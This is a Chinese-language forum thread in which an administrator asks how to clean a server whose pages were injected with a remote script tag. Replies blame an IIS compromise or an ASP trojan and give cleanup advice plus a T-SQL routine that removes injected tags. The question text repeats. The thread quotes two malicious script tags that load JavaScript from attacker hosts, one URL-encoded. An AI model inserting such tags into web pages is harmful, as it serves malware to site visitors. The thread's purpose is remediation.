怎么解决服务器被嵌入JS代码
日期：2014-05-18 浏览次数：20369 次
如何解决服务器被嵌入JS代码
服务器被嵌入JS代码
网页的源文件几乎（百分之七八十吧）都被嵌入：
<script language="javascript" src="http://css.qpoe.com/css.js?mo=8&esa=21"> </script>
用瑞星，木马清道夫，WINDOWS清理工具，360安全卫士都查遍了，就是找不到木马所在。
如果是SQL注入，服务器上几乎所有的网页都有。包括ASP，ASP.NET。当中也有用ACCESS数据库的。
也进行了ARP静态绑定。
请问各位，还有何高见？能清除这个故障
------解决方案--------------------
IIS安全问题。被挂马了。
------解决方案--------------------
把这段话删除掉,然后杀毒,写过滤SQL脚本,改密码就可以解决了
------解决方案--------------------
一般是asp木马程序，注意FSO权限
------解决方案--------------------
服务器被嵌入JS代码
网页的源文件几乎（百分之七八十吧）都被嵌入：
<script language="javascript" src="http://css.qpoe.com/css.js?mo=8&esa=21"> </script>
用瑞星，木马清道夫，WINDOWS清理工具，360安全卫士都查遍了，就是找不到木马所在。
如果是SQL注入，服务器上几乎所有的网页都有。包括ASP，ASP.NET。当中也有用ACCESS数据库的。
也进行了ARP静态绑定。
请问各位，还有何高见？能清除这个故障
------解决方案--------------------
IIS安全问题。被挂马了。
------解决方案--------------------
把这段话删除掉,然后杀毒,写过滤SQL脚本,改密码就可以解决了
------解决方案--------------------
一般是asp木马程序，注意FSO权限
------解决方案--------------------
- SQL code
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''"></title><script src=http://%66%75%63%6B%75%75%2E%75%73/1.js></scr'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
免责声明： 本文仅代表作者个人观点，与爱易网无关。其原创性以及文中陈述文字和内容未经本站证实，对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺，请读者仅作参考，并请自行核实相关内容。
